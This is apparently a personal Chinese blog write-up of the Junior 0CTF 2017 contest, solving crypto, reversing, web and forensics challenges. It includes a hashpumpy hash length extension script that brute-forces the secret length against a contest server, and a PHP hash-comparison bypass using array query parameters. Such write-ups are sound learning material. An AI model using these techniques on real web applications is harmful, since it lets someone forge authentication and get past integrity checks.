imwxz

Junior 0CTF 2017 writeup
哇萌新第一次参加CTF居然摸了一个rank10还有0x100拿,美滋滋~看上去高中时瞎搞搞还蛮有用的,然而这次题目...
扫描右侧二维码阅读全文
11
2017/12

Junior 0CTF 2017 writeup

哇萌新第一次参加CTF居然摸了一个rank10还有0x100拿,美滋滋~看上去高中时瞎搞搞还蛮有用的,然而这次题目还是对萌新不友好……其他几个参加的同学看了题目表示不知所措XD
由于php、python语法仅限于简单改写,crypto仅会暴力,reverse linux环境完全不懂,所以比赛是查了大量的资料,也算是学习吧。

QQ Group

签到题啦啦啦~

aes-duet

这道500分的题目是我的得意之作啊哇咔咔咔,拿了唯一的一血啊红红火火恍恍惚惚~~
题目意思就是有一个8位的key(hex 0开头8结尾)然后把I am a piece of lovely plaintext前4位*4倍AES加密后再用后四位*4AES一次,由于并不会各种神奇操作,只能暴力喽,不过这里有个trick,如果单纯枚举key的话复杂度太高,大概要有256^7,显然目前是不太可能算出来,不过正是由于他前后分别加密的,我们可以枚举前4位把一次加密的密文存下来然后再枚举后四位解密密文去表里查,这样复杂度就降低为256^3*32,已经可以接受了。
主要代码(不太会py,勿喷):

biao = {}
t=[chr(0x8),chr(0x18),chr(0x28),chr(0x38),chr(0x48),chr(0x58),chr(0x68),chr(0x78),chr(0x88),chr(0x98),chr(0xa8),chr(0xb8),chr(0xc8),chr(0xd8),chr(0xe8),chr(0xf8),]
for fst in range(16):
    for a in range(256):
            for b in range(256):
                for c in range(256):
                    trypass=chr(fst)+chr(a)+chr(b)+chr(c)
                    trypass=dummy_key_extend(trypass)
                    c = AES.new(trypass, AES.MODE_ECB).encrypt('I am a piece of lovely plaintext')
                    biao.update({c:trypass})
print "SETP1 OK"

for ed in range(16):
    for d in range(256):
        for e in range(256):
            for f in range(256):
                trypass=chr(d)+chr(e)+chr(f)+t[ed]
                trypass=dummy_key_extend(trypass)
                c = AES.new(trypass, AES.MODE_ECB).decrypt(crp)
                if biao.has_key(c):
                    key1 = biao[c]
                    key2 = trypass
                    with open('ans', 'w') as zx:
                        zx.write(key1)
                        zx.write(key2)
                        sys.exit(0)

不过我跑的时候发现居然Memory error内存爆了?!我可是16G的内存啊!!不过我可以扔到服务器上跑啊!搞了台20Core 64G内存的服务器,保险起见再加上100G虚拟内存走起~
半小时回来已经有输出啦(程序峰值占用近60G内存ORZ)~去重之后就是flag。据说标程是要翻译为C++然后只要4G内存就能跑而且比py不知道快到哪里去了……然而懒啊还要找网上找aes轮子……抱歉,有服务器真的可以为所欲为^_^(下次是不是可以考虑提前布置好阿里云的并行计算+GPU计算服务或者多开几台服务器搞一个分布式XD)

babyre

下下来是个encrypt.pyc文件,扔到http://tools.bugscaner.com/decompyle/上去反编译

from hashlib import md5

def md5raw(s):
    return bytearray(md5(s).digest())

def xor(a, b):
    assert len(a) == len(b)
    return bytearray([ i ^ j for i, j in zip(a, b) ])

flag = bytearray(raw_input('Show me your flag: '))
assert len(flag) == 32
for i in range(16):
    flag[:16] = xor(flag[:16], md5raw(flag[16:]))
    flag[:16], flag[16:] = flag[16:], flag[:16]

if flag == '\xa5\xc6\xe6\xeca\x0c:ED\xed#\x19\x94LF\x11\x17\xc4.\xeb\xa1\xc2|\xc1<\xa9\\A\xde\xd22\n':
    print 'Right!'
else:
    print 'Wrong!'

可以看到xor是对ab进行异或操作,那么就有xor(xor(a,b),b)=a,从后向前推就可以啦

flag = bytearray('\xa5\xc6\xe6\xeca\x0c:ED\xed#\x19\x94LF\x11\x17\xc4.\xeb\xa1\xc2|\xc1<\xa9\\A\xde\xd22\n')

for i in range(16):
    flag[:16], flag[16:] = flag[16:], flag[:16]
    flag[:16] = xor(md5raw(flag[16:]),flag[:16])

print bytearray(flag)

结果:flag{1nt3re5tiNg_F3iste1_ciPh3R}

Mystery Numbers

这个题目给了个文本

5a6d78685a33746b4d4639354d48566661323477643139694e44557a4e6a52666144526f4e4638324e44593058336b3065545239

完全不知道啥东西……不过感觉每个字符都是在16进制范围内,hex解密一下试试

ZmxhZ3tkMF95MHVfa24wd19iNDUzNjRfaDRoNF82NDY0X3k0eTR9

这就好了嘛,base64来一下得到flag{d0_y0u_kn0w_b45364_h4h4_6464_y4y4}

Penetrate In

主要源码

if (isset($_COOKIE["hmac"])) {
    if ($username === "admin" && $password != "admin") {
        if ($_COOKIE["hmac"] === md5("$secret|$username|$password")) {
            die("The flag is " . $flag);
        }
    }
} else {
    setcookie("hmac", md5("$secret|admin|admin"), time() + (60 * 60 * 24 * 7));
    show_source(__FILE__);
}

蛤?hmac就是$secret|admin|admin,然而验证中又不允许$password=admin这咋搞?这里卡了好久(还是太naive),突然想到之前玩过一个有趣的程序可以碰撞出两个md5相同的文件,它的做法就是在后面附加字符串!难道这个也可以这么搞?搜了一下发现果然有一个高大上的名字:哈希长度扩展攻击,而且有个大大还提供了轮子,果断用上。
然而这里还有个卡点,里面要求知道key的长度,不过我咋知道……试了16,,32位都不成……算了还是暴力吧

import hashpumpy
import requests

for i in range(8,300):
    tmp=hashpumpy.hashpump('be9fcfa876db5f4184e1635ce6561de7', 'admin', 'fku', i)
    key=tmp[0]
    pst=tmp[1]
    cks = {'hmac':key}
    my_header = {'Content-Type': 'application/x-www-form-urlencoded'}
    my_data = {'username' : 'admin','password' : pst}
    r = requests.post("http://202.121.178.201:8081/",headers = my_header, data = my_data, cookies=cks)
    if r.content.find('flag') != -1:
        print r.content
        exit()

跑出得到flag(服务器经常炸估计就是这个原因……)

Eva

BUG送分题~(虽然我没找到BUG……)

Shatter Sha512!

主要源码:

$x = $_GET['x'];
$y = $_GET['y'];

if ($x != $y) {

    if (hash("sha512", $x) === hash("sha512", $y)) {
        echo $flag;
    }

}

就是xy不相等但是hash相等,一开始我也和不知道的人一样去搜sha512有什么已知的碰撞,然而并没有……不过却发现了意外的php hash函数漏洞:PHP会把每一个以0E开头的哈希值都解释为0,并且数组函数值都是null……不是很懂你们php,算了提交一个吧类似http://202.121.178.201:8083/?x[]=a&y[]=b即可拿到flag{php_is_best_language_:P}2333333

Easy Traffic Analyze

下下来一个pcap包,然而根据题目描述文件头损坏了,不过有pcapfix轮子,修复后扔到wireshark里面,根据类型排个序可以看到就是一个GET网页然后POST提交一个文件,把文件弄下来然后文件头是大名鼎鼎的PK,改成zip解压,嗯……哇这是我博客的背景诶!出自你名。winhex看看头尾很快就发现了文件尾隐藏了flag,没有各种奇怪的隐写(这个对萌新还是很好滴)

babyrsa

这个给了个rsa pem,要解密出加密内容,咋办,只用这个做过ssh登陆和ssl证书,并不知道CTF是什么操作啊……还好网上有大佬整理了笔记,学习了一番操作姿势之后便开始了。先从公钥中提取n和e,然后用yafu分解n(渣U跑了98.9335s),算出d,接着用大佬的rsatool.py轮子得到private.pem解密即可。

Thanks

强行骗一波评价蛤蛤

总结

萌新还是弱啊Pwn和RM大部分都是linux下的没接触过,看来要考虑本地装一个linux了……
最终奥义:找到好轮子,走遍天下都不怕!

最后修改:2018 年 09 月 06 日 03 : 41 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论